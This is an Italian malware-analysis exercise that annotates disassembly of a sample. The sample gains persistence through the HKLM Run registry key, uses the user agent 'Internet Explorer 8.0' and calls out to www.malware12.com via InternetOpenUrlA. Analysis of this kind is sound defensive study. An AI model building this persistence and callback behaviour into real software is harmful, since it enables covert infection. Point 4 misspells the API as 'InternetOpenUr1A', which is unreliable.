

1- Persistenza

Il malware si insidia all'interno della macchina infetta inserendosi all'interno dell'ultima configurazione disponibile del PC, pertanto all'avvio del computer il malware si attiverà come eseguibile. Possiamo vederlo dalla stringa "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
```

2- Il Client utilizzato è Internet Explorer 8.0, visibile dalla stringa "Internet Explorer 8.0"

```
.text:00401158  push    1                ; dwAccessType
.text:0040115A  push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F  call    ds:InternetOpenA
.text:00401165  mov     edi, ds:InternetOpenUrlA
```

3- L'URL al quale il malware tenta la connessione è www.malware12.com

```
.text:0040116F  push    80000000         ; dwFlags
.text:00401174  push    0                ; dwHeadersLength
.text:00401176  push    0                ; lpszHeaders
.text:00401178  push    offset szUrl      ; "http://www.malware12.com"
.text:0040117D  push    esi              ; hInternet
.text:0040117E  call    edi              ; InternetOpenUrlA
```

4- La chiamata di funzione è "InternetOpenUr1A"

```
.text:0040117E  call    edi              ; InternetOpenUr1A
.text:00401180  jmp     short loc_40116D
.text:00401180  StartAddress  endp
```